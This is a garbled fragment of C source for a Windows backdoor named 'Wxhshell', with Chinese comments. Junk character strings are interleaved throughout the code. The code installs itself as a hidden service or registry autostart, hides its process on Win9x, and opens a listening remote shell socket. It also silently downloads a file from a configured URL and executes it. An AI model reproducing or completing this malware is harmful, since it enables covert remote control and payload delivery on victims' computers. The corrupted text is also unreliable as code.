6 HMODULE hMod; 6chcpP0 char procName[255]; M[eq)a$ unsigned long cbNeeded; 3{:AG,G Y5mQY5u| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jpwR\"UJ UTWchh CloseHandle(hProcess); Tumv0=q4wd "mk@p=d if(strstr(procName,"services")) return 1; // 以服务启动 gm^j8B 6DkFI kS return 0; // 注册表启动 *s JT\J$D[ } \p4>onGI =Ff _)k
// 主模块 ZYS`M?Au int StartWxhshell(LPSTR lpCmdLine) zG\& ZU { bwR$910b SOCKET wsl; 7];AB;0" BOOL val=TRUE; e:9s%|]T int port=0; ^uiQZ%; struct sockaddr_in door; P^3`znq{ $Wy(Wtrx| if(wscfg.ws_autoins) Install(); Fok% 1
b&<De port=atoi(lpCmdLine); yf4I<v$y 9ZJn 8ki if(port<=0) port=wscfg.ws_port; +x!Hc %[cZ,F= WSADATA data; kJ'rtz4QO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :QoW*Gs1 AT6o~u!WU if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \k4em{K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .#q]{j@Ot door.sin_family = AF_INET; ~:JoKm`vU door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?<;9=l\Q door.sin_port = htons(port); !{1;wC(b olv0w;s if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @k-C>h()C closesocket(wsl); s'4O]k` return 1;
WrHY' } L*6R5i> WEaG/)y if(listen(wsl,2) == INVALID_SOCKET) { 1fH2obI~X closesocket(wsl); Xi~7pH return 1; ?W 6
:$ } ;!hwcO kX Wxhshell(wsl); u<['9U WSACleanup(); JW},7Ox <rihi:4K return 0; {Mpx33 ~dBx< } FoQy@GnM5 JT p+&NS // 以NT服务方式启动 h/oC9?v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rD;R9b"J { pi|=3W DWORD status = 0; EJW}&e/ DWORD specificError = 0xfffffff; 4{QD: D(D >Jk]=_% serviceStatus.dwServiceType = SERVICE_WIN32; ^O3i)GO serviceStatus.dwCurrentState = SERVICE_START_PENDING; p:NIRs serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3iIURSG@ serviceStatus.dwWin32ExitCode = 0; ,<(0T$o E[ serviceStatus.dwServiceSpecificExitCode = 0; ],~H3u=s3 serviceStatus.dwCheckPoint = 0; h'nXV{N0 serviceStatus.dwWaitHint = 0; cC*H.N <y=+Gh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,p>@:C/M if (hServiceStatusHandle==0) return; 0z$::p$%u i+Lqj status = GetLastError(); $KVCEe!X if (status!=NO_ERROR) `%/w0,0 { G,}"}v: serviceStatus.dwCurrentState = SERVICE_STOPPED; Y 8n*o3jM serviceStatus.dwCheckPoint = 0; 9i46u20 serviceStatus.dwWaitHint = 0; @~QI3)=s serviceStatus.dwWin32ExitCode = status; ?j;,:n serviceStatus.dwServiceSpecificExitCode = specificError; ~f:"Q(f+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); +>ld return; {%oxzdPc } DJZ$M sOO_J!bblP serviceStatus.dwCurrentState = SERVICE_RUNNING; Aw]kQ\P& serviceStatus.dwCheckPoint = 0; ny"z<N&}/ serviceStatus.dwWaitHint = 0; MwC} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K|Xr~\= } | Rj"}SC )A$xt)}P!{ // 处理NT服务事件,比如:启动、停止 W6s-epsRmT VOID WINAPI NTServiceHandler(DWORD fdwControl) gW-mXb { /PKu",Azj switch(fdwControl) W)<t7q+ { $-p9cyk case SERVICE_CONTROL_STOP: feJl[3@tO serviceStatus.dwWin32ExitCode = 0; !'#GdRstv serviceStatus.dwCurrentState = SERVICE_STOPPED; TT oW>RP# serviceStatus.dwCheckPoint = 0; %i.Prckrb serviceStatus.dwWaitHint = 0; fZp3g%u { |s,y/svp SetServiceStatus(hServiceStatusHandle, &serviceStatus); R2A#2{+H } X4<Y5?&0 return; {TZV^gT4 case SERVICE_CONTROL_PAUSE: DB+oCE<.# serviceStatus.dwCurrentState = SERVICE_PAUSED; bao"iv~z break; W]5Hc|!^^ case SERVICE_CONTROL_CONTINUE: w$Z%RF'p serviceStatus.dwCurrentState = SERVICE_RUNNING; e^}@X[*'# break; L6"V=^Bq case SERVICE_CONTROL_INTERROGATE: kEp{L break; j[A:So }; [:zP]l.| SetServiceStatus(hServiceStatusHandle, &serviceStatus); r&+w)U~ } c,:nWf p^1~o/ // 标准应用程序主函数 @qSZ= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X"sJiF S { H*P[tyz$ {DapXx // 获取操作系统版本 @)C.IQ~ OsIsNt=GetOsVer(); `pjB^--w GetModuleFileName(NULL,ExeFile,MAX_PATH); p<<dj% #;=sJ[m4 // 从命令行安装 [tR b{JsUd if(strpbrk(lpCmdLine,"iI")) Install(); ~RH)iI cua ( w // 下载执行文件 n1x"B>3 if(wscfg.ws_downexe) { q+} \(| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =!G{+&j WinExec(wscfg.ws_filenam,SW_HIDE); \mL]xE- } <Uc A&A{Thz if(!OsIsNt) { ~9PZ/(
' // 如果时win9x,隐藏进程并且设置为注册表启动 pekNBq
Wm HideProc(); xf{ZwS%X StartWxhshell(lpCmdLine); S!n?b|_ } cbYQ';{ else <kk!ns I if(StartFromService()) ,pY:kQ // 以服务方式启动 G^';9 UK StartServiceCtrlDispatcher(DispatchTable); dUUg}/ else '
&3,qT // 普通方式启动 wD:2sri StartWxhshell(lpCmdLine); :cf#Tpq" r@}8TE*|P return 0; FU(2,Vl }
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